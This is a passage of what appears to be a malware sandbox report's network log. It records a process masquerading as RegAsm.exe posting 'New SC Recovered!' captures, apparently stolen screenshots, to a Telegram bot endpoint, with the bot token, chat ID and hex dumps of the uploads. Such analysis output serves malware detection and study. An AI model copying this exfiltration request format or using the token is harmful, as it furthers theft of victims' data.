79 cc cc c3 72 e0 12 79 c6 3d 2b 3b 53 ff 00 8f 75 ff 00 7c 7f 23 5b ba 7e a7 6a be 11 2f 24 f1 8b Data Ascii: 1J5##\+ez(sB(YbPW~{a7{\%s&>+b}F@&F)\{k3[\ONO>Xq!cPT4Y$Z)k>PJ()kGi5M2(pyry=+;Su\|#[~j/$
2024-05-24 05:43:39 UTC	15447	OUT	Data Raw: 5c b2 0a 28 a2 b6 39 c2 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 92 96 92 81 85 14 51 40 05 14 51 40 09 45 14 50 01 45 14 50 01 45 14 50 30 a4 a2 8a 00 28 a2 8a 60 14 51 45 00 14 51 45 00 25 14 51 40 c2 92 96 92 80 0a 28 a2 81 85 14 51 40 09 45 14 50 01 45 14 50 30 a4 34 bd a9 28 00 a2 8a 28 01 28 a2 8a 06 14 94 b4 94 00 51 45 14 00 94 52 d2 50 30 a2 8a 28 00 a4 a2 8a 63 0a 28 a2 80 12 8a 33 49 9a 06 2d 25 25 14 05 83 3e d4 99 a2 8a 06 14 94 b4 94 00 52 52 d2 50 30 a2 8a 28 18 52 51 45 00 14 94 b4 94 0c 28 a2 8a 00 4a 28 a2 81 88 68 a2 8a 00 29 29 69 28 18 52 52 d2 50 01 49 4b 45 05 09 45 14 94 02 16 92 8a 28 01 0d 14 51 40 c2 92 96 92 81 85 25 14 50 02 51 4b 49 40 c2 92 96 92 81 85 25 14 50 01 49 4b 45 03 12 8a 28 a0 61 49 45 25 00 2d 25 14 50 30 Data Ascii: \(9((((Q@Q@EPEPEP0(`QEQE%Q@(Q@EPEP04(((QERP0(c(3I-%%>RRP0(RQE(J(h))i(RRPIKEE(Q@%PQKI@%PIKE(aIE%-%P0
2024-05-24 05:43:39 UTC	1165	OUT	Data Raw: a8 ac 1a 2a 65 15 25 66 44 e0 a6 ac cf 4c d3 75 3b bb 96 da f7 9b 60 41 97 90 ed 07 1e 9b ba fe b5 95 e2 af 13 c1 25 ab d8 58 48 24 32 0c 49 22 f4 03 d0 7a d7 11 45 72 3c 1a 9d 55 52 a3 bd b6 46 d4 a6 e9 53 70 5d 7a 85 14 51 5d c4 05 6b e9 1a a2 c0 9f 67 9c e1 3f 85 bd 3d a9 90 f8 73 57 9e 14 9a 3b 4d d1 c8 a1 94 f9 88 32 0f 23 bd 3f fe 11 7d 6b fe 7c bf f2 2a 7f 8d 29 53 72 56 68 ce 7c 92 56 6c eb f4 cd 52 f2 66 48 62 bb 1e 5f f7 f0 a4 aa fb 31 e4 54 7e 22 f1 45 b5 a5 a3 db 59 4c 26 b9 60 57 72 9c 84 f7 cf 73 5c a7 fc 22 fa d7 fc f9 7f e4 54 ff 00 1a 3f e1 17 d6 bf e7 cb ff 00 22 a7 f8 d7 1c f0 0e ac d4 aa 36 d2 e8 6b 42 aa a3 17 14 f5 7d 4c 7a 2b 48 68 3a a3 00 45 af 07 9f be bf e3 59 f2 c6 f1 4a f1 48 30 e8 4a b0 f4 22 bb 5a 68 49 a6 36 8a 28 a0 61 45 Data Ascii: e%fDLu;`A%XH$2I"zEr<URFSp]zQ]kg?=sW;M2#?}k\|)SrVh\|VlRfHb_1T~"EYL&`Wrs\"T?"6kB}Lz+Hh:EYJH0J"ZhI6(aE
2024-05-24 05:43:39 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 39 63 31 34 38 61 30 35 61 34 36 36 2d 2d 0d 0a Data Ascii: -----------------------------8dc9c148a05a466--
2024-05-24 05:43:39 UTC	402	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Fri, 24 May 2024 05:43:39 GMT Content-Type: application/json Content-Length: 56 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":false,"error_code":400,"description":"Logged out"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49713	149.154.167.220	443	6596	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:43:42 UTC	238	OUT	POST /bot7043330881:AAFq19dRSS-89_wbwEvbuucof5Z3tCHG2NY/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dc9ece9c66b2c0 Host: api.telegram.org Content-Length: 66751 Expect: 100-continue
2024-05-24 05:43:42 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 39 65 63 65 39 63 36 36 62 32 63 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 36 35 35 33 30 32 38 32 37 34 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 39 65 63 65 39 63 36 36 62 32 63 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 53 43 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 37 2f 30 37 2f 32 30 32 34 20 32 31 3a 33 38 3a 35 33 0a 55 73 65 72 Data Ascii: -----------------------------8dc9ece9c66b2c0Content-Disposition: form-data; name="chat_id"6553028274-----------------------------8dc9ece9c66b2c0Content-Disposition: form-data; name="caption"New SC Recovered!Time: 07/07/2024 21:38:53User
2024-05-24 05:43:42 UTC	16355	OUT	Data Raw: 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 8e 8a 28 af a7 3e 38 28 a9 e2 b4 9a 44 12 60 2c 67 a3 31 c0 3f d4 d4 cb 6b 0a fd e6 69 0f b7 03 ff 00 af fa 56 52 ab 08 ee cd 61 46 72 d9 14 68 ad 55 b5 b6 91 39 8b 6f ba b1 cf eb 9a 86 4d 34 f5 86 55 6f 66 f9 4f f8 52 8d 78 3f 22 Data Ascii: w!1AQaq"2B#3Rbr$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?(>8(D`,g1?kiVRaFrhU9oM4UofORx?"
2024-05-24 05:43:42 UTC	16355	OUT	Data Raw: 3c 7b d7 28 27 99 61 68 44 ad e5 37 54 cf 07 f0 a8 ea e1 81 49 dd b1 d4 cc e5 25 68 c7 4b 05 14 51 5e 81 e4 85 14 51 40 09 5d 1f 85 27 86 18 ee bc d9 a3 8f 25 71 bd 80 cf 5f 5a e7 28 ac 6b d2 f6 b0 e5 bd 8e 9c 35 7f 61 53 9e d7 3d 0b ed f6 7f f3 f9 07 fd fd 5f f1 a4 fb 7d 97 fc fe 5b ff 00 df d5 ff 00 1a f3 ea 2b 8b fb 3f fb df 87 fc 13 d1 fe d6 fe e7 e3 ff 00 00 f4 1f b7 d9 7f cf e5 bf fd fd 5f f1 ae 3f 5f 92 39 75 89 de 27 57 43 b7 0c a7 20 fc a3 bd 67 51 5b 50 c2 7b 29 f3 73 5c e7 c4 e3 fd bc 39 39 6d f3 ff 00 80 14 51 45 76 9e 70 51 45 14 01 a5 e1 cf f9 0e db 7f c0 bf f4 13 5d d5 79 9d 26 07 a5 70 62 30 92 ab 3e 64 cf 53 0b 8e 8d 0a 7c 8d 5c f4 da 2b cc b0 3d 28 c0 f4 ac 3f b3 e5 fc c7 4f f6 ac 3f 95 9d cf 89 3f e4 05 71 ff 00 00 ff 00 d0 85 70 d4 62 Data Ascii: <{('ahD7TI%hKQ^Q@]'%q_Z(k5aS=_}[+?_?_9u'WC gQ[P{)s\99mQEvpQE]y&pb0>dS\|\+=(?O??qpb
2024-05-24 05:43:42 UTC	16355	OUT	Data Raw: 31 a8 ff 00 c8 4a eb fe ba bf f3 35 c7 80 fe 23 f4 ff 00 23 5c d7 f8 2b d7 f4 65 7a 28 a2 bd 73 e7 42 8a 28 a0 0e d3 fe 59 e8 df ef 8f fd 12 f4 fb bd 62 ce d3 50 82 ca 57 c4 92 f7 ec be 99 fa d6 7e ad 7b fd 9d a3 e9 b7 61 37 98 ca e0 7b 98 98 0f e7 5c 25 c4 f2 dc ce f3 cc e5 e4 73 96 26 bc 9c 3e 1b db 2b bd 8f a8 c4 62 7d 8b b2 dc f5 92 46 40 cf 26 b3 1f fd 46 b5 fe f1 ff 00 d1 29 5c 7b 6b 17 33 5b da 5c 89 4f da ac 4e 0e 4f 0e 87 bf f4 3e b9 15 d3 58 de a6 a1 a4 ea b7 71 82 ab 21 63 83 d8 88 50 11 f9 8a ce a6 1e 54 a2 db fe b5 34 a7 88 8d 59 24 bf ad 0e 5a 8a 29 6b db 3e 50 4a 28 a2 80 29 ea 7f f1 ee bf ef 8f e4 6b 47 fe 11 eb 69 35 4d 32 28 a4 9b ec b7 70 79 cc cc c3 72 e0 12 79 c6 3d 2b 3b 53 ff 00 8f 75 ff 00 7c 7f 23 5b ba 7e a7 6a be 11 2f 24 f1 8b Data Ascii: 1J5##\+ez(sB(YbPW~{a7{\%s&>+b}F@&F)\{k3[\ONO>Xq!cPT4Y$Z)k>PJ()kGi5M2(pyry=+;Su\|#[~j/$
2024-05-24 05:43:42 UTC	15447	OUT	Data Raw: 5c b2 0a 28 a2 b6 39 c2 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 92 96 92 81 85 14 51 40 05 14 51 40 09 45 14 50 01 45 14 50 01 45 14 50 30 a4 a2 8a 00 28 a2 8a 60 14 51 45 00 14 51 45 00 25 14 51 40 c2 92 96 92 80 0a 28 a2 81 85 14 51 40 09 45 14 50 01 45 14 50 30 a4 34 bd a9 28 00 a2 8a 28 01 28 a2 8a 06 14 94 b4 94 00 51 45 14 00 94 52 d2 50 30 a2 8a 28 00 a4 a2 8a 63 0a 28 a2 80 12 8a 33 49 9a 06 2d 25 25 14 05 83 3e d4 99 a2 8a 06 14 94 b4 94 00 52 52 d2 50 30 a2 8a 28 18 52 51 45 00 14 94 b4 94 0c 28 a2 8a 00 4a 28 a2 81 88 68 a2 8a 00 29 29 69 28 18 52 52 d2 50 01 49 4b 45 05 09 45 14 94 02 16 92 8a 28 01 0d 14 51 40 c2 92 96 92 81 85 25 14 50 02 51 4b 49 40 c2 92 96 92 81 85 25 14 50 01 49 4b 45 03 12 8a 28 a0 61 49 45 25 00 2d 25 14 50 30 Data Ascii: \(9((((Q@Q@EPEPEP0(`QEQE%Q@(Q@EPEP04(((QERP0(c(3I-%%>RRP0(RQE(J(h))i(RRPIKEE(Q@%PQKI@%PIKE(aIE%-%P0
2024-05-24 05:43:42 UTC	1165	OUT	Data Raw: a8 ac 1a 2a 65 15 25 66 44 e0 a6 ac cf 4c d3 75 3b bb 96 da f7 9b 60 41 97 90 ed 07 1e 9b ba fe b5 95 e2 af 13 c1 25 ab d8 58 48 24 32 0c 49 22 f4 03 d0 7a d7 11 45 72 3c 1a 9d 55 52 a3 bd b6 46 d4 a6 e9 53 70 5d 7a 85 14 51 5d c4 05 6b e9 1a a2 c0 9f 67 9c e1 3f 85 bd 3d a9 90 f8 73 57 9e 14 9a 3b 4d d1 c8 a1 94 f9 88 32 0f 23 bd 3f fe 11 7d 6b fe 7c bf f2 2a 7f 8d 29 53 72 56 68 ce 7c 92 56 6c eb f4 cd 52 f2 66 48 62 bb 1e 5f f7 f0 a4 aa fb 31 e4 54 7e 22 f1 45 b5 a5 a3 db 59 4c 26 b9 60 57 72 9c 84 f7 cf 73 5c a7 fc 22 fa d7 fc f9 7f e4 54 ff 00 1a 3f e1 17 d6 bf e7 cb ff 00 22 a7 f8 d7 1c f0 0e ac d4 aa 36 d2 e8 6b 42 aa a3 17 14 f5 7d 4c 7a 2b 48 68 3a a3 00 45 af 07 9f be bf e3 59 f2 c6 f1 4a f1 48 30 e8 4a b0 f4 22 bb 5a 68 49 a6 36 8a 28 a0 61 45 Data Ascii: e%fDLu;`A%XH$2I"zEr<URFSp]zQ]kg?=sW;M2#?}k\|)SrVh\|VlRfHb_1T~"EYL&`Wrs\"T?"6kB}Lz+Hh:EYJH0J"ZhI6(aE
2024-05-24 05:43:42 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 39 65 63 65 39 63 36 36 62 32 63 30 2d 2d 0d 0a Data Ascii: -----------------------------8dc9ece9c66b2c0--
2024-05-24 05:43:42 UTC	25	IN	HTTP/1.1 100 Continue
2024-05-24 05:43:43 UTC	402	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Fri, 24 May 2024 05:43:42 GMT Content-Type: application/json Content-Length: 56 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":false,"error_code":400,"description":"Logged out"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49714	149.154.167.220	443	6596	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:43:57 UTC	262	OUT	POST /bot7043330881:AAFq19dRSS-89_wbwEvbuucof5Z3tCHG2NY/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dca51c7ada008a Host: api.telegram.org Content-Length: 66754 Expect: 100-continue Connection: Keep-Alive
2024-05-24 05:43:57 UTC	25	IN	HTTP/1.1 100 Continue
2024-05-24 05:43:57 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 61 35 31 63 37 61 64 61 30 30 38 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 36 35 35 33 30 32 38 32 37 34 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 61 35 31 63 37 61 64 61 30 30 38 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 53 43 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 37 2f 31 35 2f 32 30 32 34 20 32 32 3a 30 31 3a 33 30 0a 55 73 65 72 Data Ascii: -----------------------------8dca51c7ada008aContent-Disposition: form-data; name="chat_id"6553028274-----------------------------8dca51c7ada008aContent-Disposition: form-data; name="caption"New SC Recovered!Time: 07/15/2024 22:01:30User
2024-05-24 05:43:57 UTC	16355	OUT	Data Raw: 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 8e 8a 28 af a7 3e 38 28 a9 e2 b4 9a 44 12 60 2c 67 a3 31 c0 3f d4 d4 cb 6b 0a fd e6 69 0f b7 03 ff 00 af fa 56 52 ab 08 ee cd 61 46 72 d9 14 68 ad 55 b5 b6 91 39 8b 6f ba b1 cf eb 9a 86 4d 34 f5 86 55 6f 66 f9 4f f8 52 8d 78 3f 22 Data Ascii: w!1AQaq"2B#3Rbr$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?(>8(D`,g1?kiVRaFrhU9oM4UofORx?"
2024-05-24 05:43:57 UTC	16355	OUT	Data Raw: 3c 7b d7 28 27 99 61 68 44 ad e5 37 54 cf 07 f0 a8 ea e1 81 49 dd b1 d4 cc e5 25 68 c7 4b 05 14 51 5e 81 e4 85 14 51 40 09 5d 1f 85 27 86 18 ee bc d9 a3 8f 25 71 bd 80 cf 5f 5a e7 28 ac 6b d2 f6 b0 e5 bd 8e 9c 35 7f 61 53 9e d7 3d 0b ed f6 7f f3 f9 07 fd fd 5f f1 a4 fb 7d 97 fc fe 5b ff 00 df d5 ff 00 1a f3 ea 2b 8b fb 3f fb df 87 fc 13 d1 fe d6 fe e7 e3 ff 00 00 f4 1f b7 d9 7f cf e5 bf fd fd 5f f1 ae 3f 5f 92 39 75 89 de 27 57 43 b7 0c a7 20 fc a3 bd 67 51 5b 50 c2 7b 29 f3 73 5c e7 c4 e3 fd bc 39 39 6d f3 ff 00 80 14 51 45 76 9e 70 51 45 14 01 a5 e1 cf f9 0e db 7f c0 bf f4 13 5d d5 79 9d 26 07 a5 70 62 30 92 ab 3e 64 cf 53 0b 8e 8d 0a 7c 8d 5c f4 da 2b cc b0 3d 28 c0 f4 ac 3f b3 e5 fc c7 4f f6 ac 3f 95 9d cf 89 3f e4 05 71 ff 00 00 ff 00 d0 85 70 d4 62 Data Ascii: <{('ahD7TI%hKQ^Q@]'%q_Z(k5aS=_}[+?_?_9u'WC gQ[P{)s\99mQEvpQE]y&pb0>dS\|\+=(?O??qpb
2024-05-24 05:43:57 UTC	16355	OUT	Data Raw: 31 a8 ff 00 c8 4a eb fe ba bf f3 35 c7 80 fe 23 f4 ff 00 23 5c d7 f8 2b d7 f4 65 7a 28 a2 bd 73 e7 42 8a 28 a0 0e d3 fe 59 e8 df ef 8f fd 12 f4 fb bd 62 ce d3 50 82 ca 57 c4 92 f7 ec be 99 fa d6 7e ad 7b fd 9d a3 e9 b7 61 37 98 ca e0 7b 98 98 0f e7 5c 25 c4 f2 dc ce f3 cc e5 e4 73 96 26 bc 9c 3e 1b db 2b bd 8f a8 c4 62 7d 8b b2 dc f5 92 46 40 cf 26 b3 1f fd 46 b5 fe f1 ff 00 d1 29 5c 7b 6b 17 33 5b da 5c 89 4f da ac 4e 0e 4f 0e 87 bf f4 3e b9 15 d3 58 de a6 a1 a4 ea b7 71 82 ab 21 63 83 d8 88 50 11 f9 8a ce a6 1e 54 a2 db fe b5 34 a7 88 8d 59 24 bf ad 0e 5a 8a 29 6b db 3e 50 4a 28 a2 80 29 ea 7f f1 ee bf ef 8f e4 6b 47 fe 11 eb 69 35 4d 32 28 a4 9b ec b7 70 79 cc cc c3 72 e0 12 79 c6 3d 2b 3b 53 ff 00 8f 75 ff 00 7c 7f 23 5b ba 7e a7 6a be 11 2f 24 f1 8b Data Ascii: 1J5##\+ez(sB(YbPW~{a7{\%s&>+b}F@&F)\{k3[\ONO>Xq!cPT4Y$Z)k>PJ()kGi5M2(pyry=+;Su\|#[~j/$
2024-05-24 05:43:57 UTC	15447	OUT	Data Raw: 5c b2 0a 28 a2 b6 39 c2 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 92 96 92 81 85 14 51 40 05 14 51 40 09 45 14 50 01 45 14 50 01 45 14 50 30 a4 a2 8a 00 28 a2 8a 60 14 51 45 00 14 51 45 00 25 14 51 40 c2 92 96 92 80 0a 28 a2 81 85 14 51 40 09 45 14 50 01 45 14 50 30 a4 34 bd a9 28 00 a2 8a 28 01 28 a2 8a 06 14 94 b4 94 00 51 45 14 00 94 52 d2 50 30 a2 8a 28 00 a4 a2 8a 63 0a 28 a2 80 12 8a 33 49 9a 06 2d 25 25 14 05 83 3e d4 99 a2 8a 06 14 94 b4 94 00 52 52 d2 50 30 a2 8a 28 18 52 51 45 00 14 94 b4 94 0c 28 a2 8a 00 4a 28 a2 81 88 68 a2 8a 00 29 29 69 28 18 52 52 d2 50 01 49 4b 45 05 09 45 14 94 02 16 92 8a 28 01 0d 14 51 40 c2 92 96 92 81 85 25 14 50 02 51 4b 49 40 c2 92 96 92 81 85 25 14 50 01 49 4b 45 03 12 8a 28 a0 61 49 45 25 00 2d 25 14 50 30 Data Ascii: \(9((((Q@Q@EPEPEP0(`QEQE%Q@(Q@EPEP04(((QERP0(c(3I-%%>RRP0(RQE(J(h))i(RRPIKEE(Q@%PQKI@%PIKE(aIE%-%P0
2024-05-24 05:43:57 UTC	1168	OUT	Data Raw: bc 2b 7a 8a c1 a2 a6 51 52 56 64 4e 0a 6a cc f4 cd 37 53 bb b9 6d af 79 b6 04 19 79 0e d0 71 e9 bb af eb 59 5e 2a f1 3c 12 5a bd 85 84 82 43 20 c4 92 2f 40 3d 07 ad 71 14 57 23 c1 a9 d5 55 2a 3b db 64 6d 4a 6e 95 37 05 d7 a8 51 45 15 dc 40 56 be 91 aa 2c 09 f6 79 ce 13 f8 5b d3 da 99 0f 87 35 79 e1 49 a3 b4 dd 1c 8a 19 4f 98 83 20 f2 3b d3 ff 00 e1 17 d6 bf e7 cb ff 00 22 a7 f8 d2 95 37 25 66 8c e7 c9 25 66 ce bf 4c d5 2f 26 64 86 2b b1 e5 ff 00 7f 0a 4a af b3 1e 45 47 e2 2f 14 5b 5a 5a 3d b5 94 c2 6b 96 05 77 29 c8 4f 7c f7 35 ca 7f c2 2f ad 7f cf 97 fe 45 4f f1 a3 fe 11 7d 6b fe 7c bf f2 2a 7f 8d 71 cf 00 ea cd 4a a3 6d 2e 86 b4 2a aa 31 71 4f 57 d4 c7 a2 b4 86 83 aa 30 04 5a f0 79 fb eb fe 35 9f 2c 6f 14 af 14 83 0e 84 ab 0f 42 2b b5 a6 84 9a 63 68 a2 Data Ascii: +zQRVdNj7SmyyqY^<ZC /@=qW#U;dmJn7QE@V,y[5yIO ;"7%f%fL/&d+JEG/[ZZ=kw)O\|5/EO}k\|qJm.1qOW0Zy5,oB+ch
2024-05-24 05:43:57 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 61 35 31 63 37 61 64 61 30 30 38 61 2d 2d 0d 0a Data Ascii: -----------------------------8dca51c7ada008a--
2024-05-24 05:43:58 UTC	402	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Fri, 24 May 2024 05:43:58 GMT Content-Type: application/json Content-Length: 56 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":false,"error_code":400,"description":"Logged out"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49715	149.154.167.220	443	6596	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:43:59 UTC	262	OUT	POST /bot7043330881:AAFq19dRSS-89_wbwEvbuucof5Z3tCHG2NY/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dca773f71df223 Host: api.telegram.org Content-Length: 66754 Expect: 100-continue Connection: Keep-Alive
2024-05-24 05:43:59 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 61 37 37 33 66 37 31 64 66 32 32 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 36 35 35 33 30 32 38 32 37 34 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 61 37 37 33 66 37 31 64 66 32 32 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 53 43 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 37 2f 31 38 2f 32 30 32 34 20 32 31 3a 34 32 3a 34 35 0a 55 73 65 72 Data Ascii: -----------------------------8dca773f71df223Content-Disposition: form-data; name="chat_id"6553028274-----------------------------8dca773f71df223Content-Disposition: form-data; name="caption"New SC Recovered!Time: 07/18/2024 21:42:45User
2024-05-24 05:43:59 UTC	16355	OUT	Data Raw: 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 8e 8a 28 af a7 3e 38 28 a9 e2 b4 9a 44 12 60 2c 67 a3 31 c0 3f d4 d4 cb 6b 0a fd e6 69 0f b7 03 ff 00 af fa 56 52 ab 08 ee cd 61 46 72 d9 14 68 ad 55 b5 b6 91 39 8b 6f ba b1 cf eb 9a 86 4d 34 f5 86 55 6f 66 f9 4f f8 52 8d 78 3f 22 Data Ascii: w!1AQaq"2B#3Rbr$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?(>8(D`,g1?kiVRaFrhU9oM4UofORx?"
2024-05-24 05:43:59 UTC	16355	OUT	Data Raw: 3c 7b d7 28 27 99 61 68 44 ad e5 37 54 cf 07 f0 a8 ea e1 81 49 dd b1 d4 cc e5 25 68 c7 4b 05 14 51 5e 81 e4 85 14 51 40 09 5d 1f 85 27 86 18 ee bc d9 a3 8f 25 71 bd 80 cf 5f 5a e7 28 ac 6b d2 f6 b0 e5 bd 8e 9c 35 7f 61 53 9e d7 3d 0b ed f6 7f f3 f9 07 fd fd 5f f1 a4 fb 7d 97 fc fe 5b ff 00 df d5 ff 00 1a f3 ea 2b 8b fb 3f fb df 87 fc 13 d1 fe d6 fe e7 e3 ff 00 00 f4 1f b7 d9 7f cf e5 bf fd fd 5f f1 ae 3f 5f 92 39 75 89 de 27 57 43 b7 0c a7 20 fc a3 bd 67 51 5b 50 c2 7b 29 f3 73 5c e7 c4 e3 fd bc 39 39 6d f3 ff 00 80 14 51 45 76 9e 70 51 45 14 01 a5 e1 cf f9 0e db 7f c0 bf f4 13 5d d5 79 9d 26 07 a5 70 62 30 92 ab 3e 64 cf 53 0b 8e 8d 0a 7c 8d 5c f4 da 2b cc b0 3d 28 c0 f4 ac 3f b3 e5 fc c7 4f f6 ac 3f 95 9d cf 89 3f e4 05 71 ff 00 00 ff 00 d0 85 70 d4 62 Data Ascii: <{('ahD7TI%hKQ^Q@]'%q_Z(k5aS=_}[+?_?_9u'WC gQ[P{)s\99mQEvpQE]y&pb0>dS\|\+=(?O??qpb
